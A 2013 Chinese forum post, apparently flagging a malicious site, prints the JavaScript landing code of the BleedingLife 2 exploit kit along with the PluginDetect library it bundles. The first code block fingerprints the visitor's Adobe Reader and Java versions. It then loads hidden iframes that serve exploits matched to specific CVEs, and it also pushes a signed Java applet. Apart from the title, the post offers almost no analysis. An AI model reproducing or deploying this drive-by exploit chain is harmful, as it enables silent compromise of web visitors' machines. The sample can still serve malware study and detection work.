查看: 766|回复: 0
收起左侧

[已鉴定] http://www.dano.donoshosee.com/

[复制链接]
fireold
发表于 2013-6-15 16:43:20 | 显示全部楼层 |阅读模式
  1. function getVersion(str) {

  2.     if (str == "Acrobat") {

  3.         var a_version = new Object();
  4.         a_version.exists = false;
  5.         a_version.version = '0';

  6.         var a_detect = PluginDetect.getVersion("AdobeReader");
  7.         if (a_detect != null) {
  8.             a_version.exists = true;
  9.             var vArray = a_detect.split(",");
  10.             a_version.version = vArray[0] + vArray[1] + vArray[2];
  11.         }
  12.         return a_version;

  13.     }
  14.     if (str == "Java") {
  15.         var j_version = new Object();
  16.         j_version.exists = false;
  17.         j_version.version = '0';
  18.         j_version.build = '0';

  19.         var j_detect = PluginDetect.getVersion('Java', 'include/getJavaInfo.jar')

  20.         if (j_detect != null) {
  21.             j_version.exists = true;
  22.             var vArray = j_detect.split(",");
  23.             j_version.version = vArray[1];
  24.             j_version.build = vArray[3];
  25.         }
  26.         return j_version;
  27.     }

  28. }

  29. var FramesArray = new Array();
  30. var CurrentModule = 0;

  31. function InitializeVisitor() {
  32.     var newDIV = document.createElement("div");
  33.     newDIV.innerHTML = "<iframe src='add_visitor.php?referrer=http://google.com/'></iframe>";
  34.     document.body.appendChild(newDIV);
  35. }

  36. function NextModule() {

  37.     var newDIV = document.createElement("div");
  38.     newDIV.innerHTML = "<iframe src='" + FramesArray[CurrentModule] + "'></iframe>";
  39.     document.body.appendChild(newDIV);

  40.     if (CurrentModule < FramesArray.length - 1) {
  41.         CurrentModule++;
  42.         setTimeout("NextModule()", 1000);
  43.     }
  44. }

  45. function AcrobatModule() {
  46.     var a_version = getVersion("Acrobat");
  47.     if (a_version.exists) {
  48.         if (a_version.version >= 800 && a_version.version < 821) {
  49.             FramesArray.push("load_module.php?e=Adobe-80-2010-0188");
  50.         } else if (a_version.version >= 900 && a_version.version < 940) {
  51.             if (a_version.version < 931) {
  52.                 FramesArray.push("load_module.php?e=Adobe-90-2010-0188");
  53.             } else if (a_version.version < 933) {
  54.                 FramesArray.push("load_module.php?e=Adobe-2010-1297");

  55.             } else if (a_version.version < 940) {
  56.                 FramesArray.push("load_module.php?e=Adobe-2010-2884");
  57.             }
  58.         } else if (a_version.version >= 700 && a_version.version < 711) {
  59.             FramesArray.push("load_module.php?e=Adobe-2008-2992");
  60.         }
  61.     }
  62. }

  63. function JavaModule() {
  64.     var j_version = getVersion("Java");
  65.     if (j_version.exists) {
  66.         if (j_version.version < 6 || (j_version.version == 6 && j_version.build < 19)) {
  67.             FramesArray.push("load_module.php?e=Java-2010-0842");


  68.         }
  69.     }
  70. }

  71. function SignedModule() {
  72.     var j_version = getVersion("Java");
  73.     if (j_version.exists) {
  74.         FramesArray.push("load_module.php?e=JavaSignedApplet");
  75.     }
  76. }

  77. InitializeVisitor();

  78. JavaModule();

  79. AcrobatModule();

  80. SignedModule();
  81. if (FramesArray.length > 0) {
  82.     NextModule();
  83. }
复制代码

  1. /*
  2. BleedingLife 2 - Exploit Test Lab
  3. Copyright (C) 2011 Blackhat Academy

  4. This program is free software; you can redistribute it and/or
  5. modify it under the terms of the GNU General Public License
  6. as published by the Free Software Foundation; either version 2
  7. of the License, or (at your option) any later version.

  8. This program is distributed in the hope that it will be useful,
  9. but WITHOUT ANY WARRANTY; without even the implied warranty of
  10. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  11. GNU General Public License for more details.

  12. You should have received a copy of the GNU General Public License
  13. along with this program; if not, write to the Free Software
  14. Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
  15. */
  16. /* PluginDetect v0.7.4 by Eric Gerds www.pinlady.net/PluginDetect [ onWindowLoaded getVersion Java(OTF) Flash AdobeReader ] */
  17. var PluginDetect = {
  18.     version: "0.7.4",
  19.     handler: function(c, b, a) {
  20.         return function() {
  21.             c(b, a)
  22.         }
  23.     },
  24.     isDefined: function(b) {
  25.         return typeof b != "undefined"
  26.     },
  27.     isArray: function(b) {
  28.         return (/array/i).test(Object.prototype.toString.call(b))
  29.     },
  30.     isFunc: function(b) {
  31.         return typeof b == "function"
  32.     },
  33.     isString: function(b) {
  34.         return typeof b == "string"
  35.     },
  36.     isNum: function(b) {
  37.         return typeof b == "number"
  38.     },
  39.     isStrNum: function(b) {
  40.         return (typeof b == "string" && (/\d/).test(b))
  41.     },
  42.     getNumRegx: /[\d][\d\.\_,-]*/,
  43.     splitNumRegx: /[\.\_,-]/g,
  44.     getNum: function(b, c) {
  45.         var d = this,
  46.             a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
  47.         return a ? a[0] : null
  48.     },
  49.     compareNums: function(h, f, d) {
  50.         var e = this,
  51.             c, b, a, g = parseInt;
  52.         if (e.isStrNum(h) && e.isStrNum(f)) {
  53.             if (e.isDefined(d) && d.compareNums) {
  54.                 return d.compareNums(h, f)
  55.             }
  56.             c = h.split(e.splitNumRegx);
  57.             b = f.split(e.splitNumRegx);
  58.             for (a = 0;
  59.             a < Math.min(c.length, b.length);
  60.             a++) {
  61.                 if (g(c[a], 10) > g(b[a], 10)) {
  62.                     return 1
  63.                 }
  64.                 if (g(c[a], 10) < g(b[a], 10)) {
  65.                     return -1
  66.                 }
  67.             }
  68.         }
  69.         return 0
  70.     },
  71.     formatNum: function(b, c) {
  72.         var d = this,
  73.             a, e;
  74.         if (!d.isStrNum(b)) {
  75.             return null
  76.         }
  77.         if (!d.isNum(c)) {
  78.             c = 4
  79.         }
  80.         c--;
  81.         e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  82.         for (a = 0;
  83.         a < 4;
  84.         a++) {
  85.             if (/^(0+)(.+)$/.test(e[a])) {
  86.                 e[a] = RegExp.$2
  87.             }
  88.             if (a > c || !(/\d/).test(e[a])) {
  89.                 e[a] = "0"
  90.             }
  91.         }
  92.         return e.slice(0, 4).join(",")
  93.     },
  94.     $$hasMimeType: function(a) {
  95.         return function(d) {
  96.             if (!a.isIE) {
  97.                 var c, b, e, f = a.isString(d) ? [d] : d;
  98.                 for (e = 0;
  99.                 e < f.length;
  100.                 e++) {
  101.                     if (/[^\s]/.test(f[e]) && (c = navigator.mimeTypes[f[e]]) && (b = c.enabledPlugin) && (b.name || b.description)) {
  102.                         return c
  103.                     }
  104.                 }
  105.             }
  106.             return null
  107.         }
  108.     },
  109.     findNavPlugin: function(l, e, c) {
  110.         var j = this,
  111.             h = new RegExp(l, "i"),
  112.             d = (!j.isDefined(e) || e) ? /\d/ : 0,
  113.             k = c ? new RegExp(c, "i") : 0,
  114.             a = navigator.plugins,
  115.             g = "",
  116.             f, b, m;
  117.         for (f = 0;
  118.         f < a.length;
  119.         f++) {
  120.             m = a[f].description || g;
  121.             b = a[f].name || g;
  122.             if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))) {
  123.                 if (!k || !(k.test(m) || k.test(b))) {
  124.                     return a[f]
  125.                 }
  126.             }
  127.         }
  128.         return null
  129.     },
  130.     getMimeEnabledPlugin: function(a, e) {
  131.         var d = this,
  132.             b, c = new RegExp(e, "i");
  133.         if ((b = d.hasMimeType(a)) && (b = b.enabledPlugin) && (c.test(b.description || "") || c.test(b.name || ""))) {
  134.             return b
  135.         }
  136.         return 0
  137.     },
  138.     getPluginFileVersion: function(f, b) {
  139.         var h = this,
  140.             e, d, g, a, c = -1;
  141.         if (h.OS > 2 || !f || !f.version || !(e = h.getNum(f.version))) {
  142.             return b
  143.         }
  144.         if (!b) {
  145.             return e
  146.         }
  147.         e = h.formatNum(e);
  148.         b = h.formatNum(b);
  149.         d = b.split(h.splitNumRegx);
  150.         g = e.split(h.splitNumRegx);
  151.         for (a = 0;
  152.         a < d.length;
  153.         a++) {
  154.             if (c > -1 && a > c && d[a] != "0") {
  155.                 return b
  156.             }
  157.             if (g[a] != d[a]) {
  158.                 if (c == -1) {
  159.                     c = a
  160.                 }
  161.                 if (d[a] != "0") {
  162.                     return b
  163.                 }
  164.             }
  165.         }
  166.         return e
  167.     },
  168.     AXO: window.ActiveXObject,
  169.     getAXO: function(a) {
  170.         var d = null,
  171.             c, b = this;
  172.         try {
  173.             d = new b.AXO(a)
  174.         } catch (c) {}
  175.         return d
  176.     },
  177.     convertFuncs: function(g) {
  178.         var a, h, f, b = /^[\$][\$]/,
  179.             d = {},
  180.             c = this;
  181.         for (a in g) {
  182.             if (b.test(a)) {
  183.                 d[a] = 1
  184.             }
  185.         }
  186.         for (a in d) {
  187.             try {
  188.                 h = a.slice(2);
  189.                 if (h.length > 0 && !g[h]) {
  190.                     g[h] = g[a](g);
  191.                     delete g[a]
  192.                 }
  193.             } catch (f) {}
  194.         }
  195.     },
  196.     initScript: function() {
  197.         var c = this,
  198.             a = navigator,
  199.             d = "/",
  200.             h = a.userAgent || "",
  201.             f = a.vendor || "",
  202.             b = a.platform || "",
  203.             g = a.product || "";;
  204.         c.OS = (/win/i).test(b) ? 1 : ((/mac/i).test(b) ? 2 : ((/linux/i).test(b) ? 3 : 4));
  205.         c.convertFuncs(c);
  206.         c.isIE = new Function("return " + d + "*@cc_on!@*" + d + "false")();
  207.         c.verIE = c.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(h) ? parseFloat(RegExp.$1, 10) : null;
  208.         c.ActiveXEnabled = false;
  209.         if (c.isIE) {
  210.             var e, i = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper", "Scripting.Dictionary", "wmplayer.ocx"];
  211.             for (e = 0;
  212.             e < i.length;
  213.             e++) {
  214.                 if (c.getAXO(i[e])) {
  215.                     c.ActiveXEnabled = true;
  216.                     break
  217.                 }
  218.             }
  219.             c.head = c.isDefined(document.getElementsByTagName) ? document.getElementsByTagName("head")[0] : null
  220.         }
  221.         c.isGecko = (/Gecko/i).test(g) && (/Gecko\s*\/\s*\d/i).test(h);
  222.         c.verGecko = c.isGecko ? c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(h) ? RegExp.$1 : "0.9") : null;
  223.         c.isSafari = (/Safari\s*\/\s*\d/i).test(h) && (/Apple/i).test(f);
  224.         c.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(h);
  225.         c.verChrome = c.isChrome ? c.formatNum(RegExp.$1) : null;
  226.         c.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(h);
  227.         c.verOpera = c.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(h) || 1) ? parseFloat(RegExp.$1, 10) : null;;
  228.         c.addWinEvent("load", c.handler(c.runWLfuncs, c));

  229.     },
  230.     init: function(c) {
  231.         var b = this,
  232.             a, c;
  233.         if (!b.isString(c)) {
  234.             return -3
  235.         }
  236.         if (c.length == 1) {
  237.             b.getVersionDelimiter = c;
  238.             return -3
  239.         }
  240.         c = c.toLowerCase().replace(/\s/g, "");
  241.         a = b[c];
  242.         if (!a || !a.getVersion) {
  243.             return -3
  244.         }
  245.         b.plugin = a;
  246.         if (!b.isDefined(a.installed)) {
  247.             a.installed = a.version = a.version0 = a.getVersionDone = null;
  248.             a.$ = b;
  249.             a.pluginName = c
  250.         }
  251.         b.garbage = false;
  252.         if (b.isIE && !b.ActiveXEnabled) {
  253.             if (a !== b.java) {
  254.                 return -2
  255.             }
  256.         }
  257.         return 1
  258.     },
  259.     fPush: function(b, a) {
  260.         var c = this;
  261.         if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && b.length > 0 && c.isFunc(b[0])))) {
  262.             a.push(b)
  263.         }
  264.     },
  265.     callArray: function(b) {
  266.         var c = this,
  267.             a;
  268.         if (c.isArray(b)) {
  269.             for (a = 0;
  270.             a < b.length;
  271.             a++) {
  272.                 if (b[a] === null) {
  273.                     return
  274.                 }
  275.                 c.call(b[a]);
  276.                 b[a] = null
  277.             }
  278.         }
  279.     },
  280.     call: function(c) {
  281.         var b = this,
  282.             a = b.isArray(c) ? c.length : -1;
  283.         if (a > 0 && b.isFunc(c[0])) {
  284.             c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0)
  285.         } else {
  286.             if (b.isFunc(c)) {
  287.                 c(b)
  288.             }
  289.         }
  290.     },
  291.     getVersionDelimiter: ",",
  292.     $$getVersion: function(a) {
  293.         return function(g, d, c) {
  294.             var e = a.init(g),
  295.                 f, b;
  296.             if (e < 0) {
  297.                 return null
  298.             };
  299.             f = a.plugin;
  300.             if (f.getVersionDone != 1) {
  301.                 f.getVersion(d, c);
  302.                 if (f.getVersionDone === null) {
  303.                     f.getVersionDone = 1
  304.                 }
  305.             }
  306.             a.cleanup();
  307.             b = (f.version || f.version0);
  308.             return b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b
  309.         }
  310.     },
  311.     cleanup: function() {
  312.         var a = this;
  313.         if (a.garbage && a.isDefined(window.CollectGarbage)) {
  314.             window.CollectGarbage()
  315.         }
  316.     },
  317.     addWinEvent: function(d, c) {
  318.         var e = this,
  319.             a = window,
  320.             b;
  321.         if (e.isFunc(c)) {
  322.             if (a.addEventListener) {
  323.                 a.addEventListener(d, c, false)
  324.             } else {
  325.                 if (a.attachEvent) {
  326.                     a.attachEvent("on" + d, c)
  327.                 } else {
  328.                     b = a["on" + d];
  329.                     a["on" + d] = e.winHandler(c, b)
  330.                 }
  331.             }
  332.         }
  333.     },
  334.     winHandler: function(d, c) {
  335.         return function() {
  336.             d();
  337.             if (typeof c == "function") {
  338.                 c()
  339.             }
  340.         }
  341.     },
  342.     WLfuncs0: [],
  343.     WLfuncs: [],
  344.     runWLfuncs: function(a) {
  345.         a.winLoaded = true;;;
  346.         a.callArray(a.WLfuncs0);
  347.         a.callArray(a.WLfuncs);;
  348.         if (a.onDoneEmptyDiv) {
  349.             a.onDoneEmptyDiv()
  350.         }
  351.     },
  352.     winLoaded: false,
  353.     $$onWindowLoaded: function(a) {
  354.         return function(b) {
  355.             if (a.winLoaded) {
  356.                 a.call(b);
  357.             } else {
  358.                 a.fPush(b, a.WLfuncs)
  359.             }
  360.         }
  361.     },
  362.     div: null,
  363.     divWidth: 50,
  364.     pluginSize: 1,
  365.     emptyDiv: function() {
  366.         var c = this,
  367.             a, e, b, d = 0;
  368.         if (c.div && c.div.childNodes) {
  369.             for (a = c.div.childNodes.length - 1;
  370.             a >= 0;
  371.             a--) {
  372.                 b = c.div.childNodes[a];
  373.                 if (b && b.childNodes) {
  374.                     if (d == 0) {
  375.                         for (e = b.childNodes.length - 1;
  376.                         e >= 0;
  377.                         e--) {
  378.                             b.removeChild(b.childNodes[e])
  379.                         }
  380.                         c.div.removeChild(b)
  381.                     } else {}
  382.                 }
  383.             }
  384.         }
  385.     },
  386.     DONEfuncs: [],
  387.     onDoneEmptyDiv: function() {
  388.         var c = this,
  389.             a, b;
  390.         if (!c.winLoaded) {
  391.             return
  392.         }
  393.         if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null) {
  394.             return
  395.         }
  396.         for (a in c) {
  397.             b = c[a];
  398.             if (b && b.funcs) {
  399.                 if (b.OTF == 3) {
  400.                     return
  401.                 }
  402.                 if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null) {
  403.                     return
  404.                 }
  405.             }
  406.         }
  407.         for (a = 0;
  408.         a < c.DONEfuncs.length;
  409.         a++) {
  410.             c.callArray(c.DONEfuncs)
  411.         }
  412.         c.emptyDiv()
  413.     },
  414.     getWidth: function(c) {
  415.         if (c) {
  416.             var a = c.scrollWidth || c.offsetWidth,
  417.                 b = this;
  418.             if (b.isNum(a)) {
  419.                 return a
  420.             }
  421.         }
  422.         return -1
  423.     },
  424.     getTagStatus: function(m, g, a, b) {
  425.         var c = this,
  426.             f, k = m.span,
  427.             l = c.getWidth(k),
  428.             h = a.span,
  429.             j = c.getWidth(h),
  430.             d = g.span,
  431.             i = c.getWidth(d);
  432.         if (!k || !h || !d || !c.getDOMobj(m)) {
  433.             return -2
  434.         }
  435.         if (j < i || l < 0 || j < 0 || i < 0 || i <= c.pluginSize || c.pluginSize < 1) {
  436.             return 0
  437.         }
  438.         if (l >= i) {
  439.             return -1
  440.         }
  441.         try {
  442.             if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)) {
  443.                 if (!m.winLoaded && c.winLoaded) {
  444.                     return 1
  445.                 }
  446.                 if (m.winLoaded && c.isNum(b)) {
  447.                     if (!c.isNum(m.count)) {
  448.                         m.count = b
  449.                     }
  450.                     if (b - m.count >= 10) {
  451.                         return 1
  452.                     }
  453.                 }
  454.             }
  455.         } catch (f) {}
  456.         return 0
  457.     },
  458.     getDOMobj: function(g, a) {
  459.         var f, d = this,
  460.             c = g ? g.span : 0,
  461.             b = c && c.firstChild ? 1 : 0;
  462.         try {
  463.             if (b && a) {
  464.                 c.firstChild.focus()
  465.             }
  466.         } catch (f) {}
  467.         return b ? c.firstChild : null
  468.     },
  469.     setStyle: function(b, g) {
  470.         var f = b.style,
  471.             a, d, c = this;
  472.         if (f && g) {
  473.             for (a = 0;
  474.             a < g.length;
  475.             a = a + 2) {
  476.                 try {
  477.                     f[g[a]] = g[a + 1]
  478.                 } catch (d) {}
  479.             }
  480.         }
  481.     },
  482.     insertDivInBody: function(i) {
  483.         var g, d = this,
  484.             h = "pd33993399",
  485.             c = null,
  486.             f = document,
  487.             b = "<",
  488.             a = (f.getElementsByTagName("body")[0] || f.body);
  489.         if (!a) {
  490.             try {
  491.                 f.write(b + 'div id="' + h + '">o' + b + "/div>");
  492.                 c = f.getElementById(h)
  493.             } catch (g) {}
  494.         }
  495.         a = (f.getElementsByTagName("body")[0] || f.body);
  496.         if (a) {
  497.             if (a.firstChild && d.isDefined(a.insertBefore)) {
  498.                 a.insertBefore(i, a.firstChild)
  499.             } else {
  500.                 a.appendChild(i)
  501.             }
  502.             if (c) {
  503.                 a.removeChild(c)
  504.             }
  505.         } else {}
  506.     },
  507.     insertHTML: function(g, b, h, a, k) {
  508.         var l, m = document,
  509.             j = this,
  510.             q, o = m.createElement("span"),
  511.             n, i, f = "<";
  512.         var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"];
  513.         if (!j.isDefined(a)) {
  514.             a = ""
  515.         }
  516.         if (j.isString(g) && (/[^\s]/).test(g)) {
  517.             q = f + g + ' width="' + j.pluginSize + '" height="' + j.pluginSize + '" ';
  518.             for (n = 0;
  519.             n < b.length;
  520.             n = n + 2) {
  521.                 if (/[^\s]/.test(b[n + 1])) {
  522.                     q += b[n] + '="' + b[n + 1] + '" '
  523.                 }
  524.             }
  525.             q += ">";
  526.             for (n = 0;
  527.             n < h.length;
  528.             n = n + 2) {
  529.                 if (/[^\s]/.test(h[n + 1])) {
  530.                     q += f + 'param name="' + h[n] + '" value="' + h[n + 1] + '" />'
  531.                 }
  532.             }
  533.             q += a + f + "/" + g + ">"
  534.         } else {
  535.             q = a
  536.         }
  537.         if (!j.div) {
  538.             j.div = m.createElement("div");
  539.             i = m.getElementById("plugindetect");
  540.             if (i) {
  541.                 j.div = i
  542.             } else {
  543.                 j.div.id = "plugindetect";
  544.                 j.insertDivInBody(j.div)
  545.             }
  546.             j.setStyle(j.div, c.concat(["width", j.divWidth + "px", "height", (j.pluginSize + 3) + "px", "fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "block"]));
  547.             if (!i) {
  548.                 j.setStyle(j.div, ["position", "absolute", "right", "0px", "top", "0px"])
  549.             }
  550.         }
  551.         if (j.div && j.div.parentNode) {;
  552.             j.div.appendChild(o);
  553.             j.setStyle(o, c.concat(["fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"]));
  554.             try {
  555.                 if (o && o.parentNode) {
  556.                     o.focus()
  557.                 }
  558.             } catch (l) {}
  559.             try {
  560.                 o.innerHTML = q
  561.             } catch (l) {}
  562.             if (o.childNodes.length == 1 && !(j.isGecko && j.compareNums(j.verGecko, "1,5,0,0") < 0)) {
  563.                 j.setStyle(o.firstChild, c.concat(["display", "inline"]))
  564.             }
  565.             return {
  566.                 span: o,
  567.                 winLoaded: j.winLoaded,
  568.                 tagName: (j.isString(g) ? g : "")
  569.             }
  570.         }
  571.         return {
  572.             span: null,
  573.             winLoaded: j.winLoaded,
  574.             tagName: ""
  575.         }
  576.     },
  577.     java: {
  578.         mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"],
  579.         mimeTypeJPI: "application/x-java-applet;jpi-version=",
  580.         classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
  581.         DTKclassID: "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA",
  582.         DTKmimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;DeploymentToolkit"],
  583.         forceVerifyTag: [],
  584.         jar: [],
  585.         Enabled: navigator.javaEnabled(),
  586.         VENDORS: ["Sun Microsystems Inc.", "Apple Computer, Inc."],
  587.         OTF: null,
  588.         All_versions: [],
  589.         mimeTypeJPIresult: "",
  590.         JavaPlugin_versions: [],
  591.         JavaVersions: [
  592.             [1, 9, 2, 30],
  593.             [1, 8, 2, 30],
  594.             [1, 7, 2, 30],
  595.             [1, 6, 1, 30],
  596.             [1, 5, 1, 30],
  597.             [1, 4, 2, 30],
  598.             [1, 3, 1, 30]
  599.         ],
  600.         searchJavaPluginAXO: function() {
  601.             var h = null,
  602.                 a = this,
  603.                 c = a.$,
  604.                 g = [],
  605.                 j = [1, 5, 0, 14],
  606.                 i = [1, 6, 0, 2],
  607.                 f = [1, 3, 1, 0],
  608.                 e = [1, 4, 2, 0],
  609.                 d = [1, 5, 0, 7],
  610.                 b = false;
  611.             if (!c.ActiveXEnabled) {
  612.                 return null
  613.             };
  614.             if (c.verIE >= a.minIEver) {
  615.                 g = a.searchJavaAXO(i, i, b);
  616.                 if (g.length > 0 && b) {
  617.                     g = a.searchJavaAXO(j, j, b)
  618.                 }
  619.             } else {
  620.                 if (g.length == 0) {
  621.                     g = a.searchJavaAXO(f, e, false)
  622.                 }
  623.             }
  624.             if (g.length > 0) {
  625.                 h = g[0]
  626.             }
  627.             a.JavaPlugin_versions = [].concat(g);
  628.             return h
  629.         },
  630.         searchJavaAXO: function(l, i, m) {
  631.             var n, f, h = this.$,
  632.                 q, k, a, e, g, j, b, r = [];
  633.             if (h.compareNums(l.join(","), i.join(",")) > 0) {
  634.                 i = l
  635.             }
  636.             i = h.formatNum(i.join(","));
  637.             var o, d = "1,4,2,0",
  638.                 c = "JavaPlugin." + l[0] + "" + l[1] + "" + l[2] + "" + (l[3] > 0 ? ("_" + (l[3] < 10 ? "0" : "") + l[3]) : "");
  639.             for (n = 0;
  640.             n < this.JavaVersions.length;
  641.             n++) {
  642.                 f = this.JavaVersions[n];
  643.                 q = "JavaPlugin." + f[0] + "" + f[1];
  644.                 g = f[0] + "." + f[1] + ".";
  645.                 for (a = f[2];
  646.                 a >= 0;
  647.                 a--) {
  648.                     b = "JavaWebStart.isInstalled." + g + a + ".0";
  649.                     if (h.compareNums(f[0] + "," + f[1] + "," + a + ",0", i) >= 0 && !h.getAXO(b)) {
  650.                         continue
  651.                     }
  652.                     o = h.compareNums(f[0] + "," + f[1] + "," + a + ",0", d) < 0 ? true : false;
  653.                     for (e = f[3];
  654.                     e >= 0;
  655.                     e--) {
  656.                         k = a + "_" + (e < 10 ? "0" + e : e);
  657.                         j = q + k;
  658.                         if (h.getAXO(j) && (o || h.getAXO(b))) {
  659.                             r.push(g + k);
  660.                             if (!m) {
  661.                                 return r
  662.                             }
  663.                         }
  664.                         if (j == c) {
  665.                             return r
  666.                         }
  667.                     }
  668.                     if (h.getAXO(q + a) && (o || h.getAXO(b))) {
  669.                         r.push(g + a);
  670.                         if (!m) {
  671.                             return r
  672.                         }
  673.                     }
  674.                     if (q + a == c) {
  675.                         return r
  676.                     }
  677.                 }
  678.             }
  679.             return r
  680.         },
  681.         minIEver: 7,
  682.         getMimeJPIversion: function() {
  683.             var h, a = this,
  684.                 d = a.$,
  685.                 c = new RegExp("(" + a.mimeTypeJPI + ")(\\d.*)", "i"),
  686.                 k = new RegExp("Java", "i"),
  687.                 e, j, f = "",
  688.                 i = {},
  689.                 g = 0,
  690.                 b;
  691.             for (h = 0;
  692.             h < navigator.mimeTypes.length;
  693.             h++) {
  694.                 j = navigator.mimeTypes[h];
  695.                 if (c.test(j.type) && (e = j.enabledPlugin) && (j = RegExp.$2) && (k.test(e.description || f) || k.test(e.name || f))) {
  696.                     i["a" + d.formatNum(j)] = j
  697.                 }
  698.             }
  699.             b = "0,0,0,0";
  700.             for (h in i) {
  701.                 g++;
  702.                 e = h.slice(1);
  703.                 if (d.compareNums(e, b) > 0) {
  704.                     b = e
  705.                 }
  706.             }
  707.             a.mimeTypeJPIresult = g > 0 ? a.mimeTypeJPI + i["a" + b] : "";
  708.             return g > 0 ? b : null
  709.         },
  710.         getVersion: function(d, l) {
  711.             var f, c = this,
  712.                 e = c.$,
  713.                 h = c.NOTF,
  714.                 b = c.applet,
  715.                 j = c.verify,
  716.                 i = vendor = versionEnabled = null;;
  717.             if (c.getVersionDone === null) {
  718.                 c.OTF = 0;
  719.                 c.mimeObj = e.hasMimeType(c.mimeType);
  720.                 c.deployTK.$ = e;
  721.                 c.deployTK.parentNode = c;
  722.                 b.$ = e;
  723.                 b.parentNode = c;
  724.                 if (h) {
  725.                     h.$ = e;
  726.                     h.parentNode = c
  727.                 }
  728.                 if (j) {
  729.                     j.parentNode = c;
  730.                     j.$ = e;
  731.                     j.init()
  732.                 }
  733.             }
  734.             var k;
  735.             if (e.isArray(l)) {
  736.                 for (k = 0;
  737.                 k < b.allowed.length;
  738.                 k++) {
  739.                     if (e.isNum(l[k])) {
  740.                         b.allowed[k] = l[k]
  741.                     }
  742.                 }
  743.             }
  744.             for (k = 0;
  745.             k < c.forceVerifyTag.length;
  746.             k++) {
  747.                 b.allowed[k] = c.forceVerifyTag[k]
  748.             }
  749.             if (e.isString(d)) {
  750.                 c.jar.push(d)
  751.             }
  752.             if (c.getVersionDone == 0) {
  753.                 if (!c.version || b.canTryAny()) {
  754.                     f = b.insertHTMLQueryAll(d);
  755.                     if (f[0]) {
  756.                         c.installed = 1;
  757.                         c.EndGetVersion(f[0], f[1])
  758.                     }
  759.                 }
  760.                 return
  761.             }
  762.             var g = c.deployTK.query();
  763.             if (g.JRE) {
  764.                 i = g.JRE;
  765.                 vendor = c.VENDORS[0]
  766.             }
  767.             if (!e.isIE) {
  768.                 var o, m, a, n;
  769.                 n = (c.mimeObj && c.Enabled) ? true : false;
  770.                 if (!i && (f = c.getMimeJPIversion()) !== null) {
  771.                     i = f
  772.                 }
  773.                 if (!i && c.mimeObj) {
  774.                     f = "Java[^\\d]*Plug-in";
  775.                     a = e.findNavPlugin(f);
  776.                     if (a) {
  777.                         f = new RegExp(f, "i");
  778.                         o = f.test(a.description || "") ? e.getNum(a.description) : null;
  779.                         m = f.test(a.name || "") ? e.getNum(a.name) : null;
  780.                         if (o && m) {
  781.                             i = (e.compareNums(e.formatNum(o), e.formatNum(m)) >= 0) ? o : m
  782.                         } else {
  783.                             i = o || m
  784.                         }
  785.                     }
  786.                 }
  787.                 if (!i && c.mimeObj && e.isSafari && e.OS == 2) {
  788.                     a = e.findNavPlugin("Java.*\\d.*Plug-in.*Cocoa", 0);
  789.                     if (a) {
  790.                         o = e.getNum(a.description);
  791.                         if (o) {
  792.                             i = o
  793.                         }
  794.                     }
  795.                 }
  796.                 if (i) {
  797.                     c.version0 = i;
  798.                     if (c.Enabled) {
  799.                         versionEnabled = i
  800.                     }
  801.                 }
  802.             } else {
  803.                 if (!i && g.status == 0) {
  804.                     i = c.searchJavaPluginAXO();
  805.                     if (i) {
  806.                         vendor = c.VENDORS[0]
  807.                     }
  808.                 }
  809.                 if (i) {
  810.                     c.version0 = i;
  811.                     if (c.Enabled && e.ActiveXEnabled) {
  812.                         versionEnabled = i
  813.                     }
  814.                 }
  815.             }
  816.             if (!versionEnabled || b.canTryAny()) {
  817.                 f = b.insertHTMLQueryAll(d);
  818.                 if (f[0]) {
  819.                     versionEnabled = f[0];
  820.                     vendor = f[1]
  821.                 }
  822.             }
  823.             if (!versionEnabled && (f = c.queryWithoutApplets())[0]) {
  824.                 c.version0 = versionEnabled = f[0];
  825.                 vendor = f[1];
  826.                 if (c.installed == -0.5) {
  827.                     c.installed = 0.5
  828.                 }
  829.             }
  830.             if (e.isSafari && e.OS == 2) {
  831.                 if (!versionEnabled && n) {
  832.                     if (c.installed === null) {
  833.                         c.installed = 0
  834.                     } else {
  835.                         if (c.installed == -0.5) {
  836.                             c.installed = 0.5
  837.                         }
  838.                     }
  839.                 }
  840.             }
  841.             if (c.jreDisabled()) {
  842.                 versionEnabled = null
  843.             };
  844.             if (c.installed === null) {
  845.                 c.installed = versionEnabled ? 1 : (i ? -0.2 : -1)
  846.             }
  847.             c.EndGetVersion(versionEnabled, vendor)
  848.         },
  849.         EndGetVersion: function(b, d) {
  850.             var a = this,
  851.                 c = a.$;
  852.             if (a.version0) {
  853.                 a.version0 = c.formatNum(c.getNum(a.version0))
  854.             }
  855.             if (b) {
  856.                 a.version = c.formatNum(c.getNum(b));
  857.                 a.vendor = (c.isString(d) ? d : "")
  858.             }
  859.             if (a.getVersionDone != 1) {
  860.                 a.getVersionDone = 0
  861.             }
  862.         },
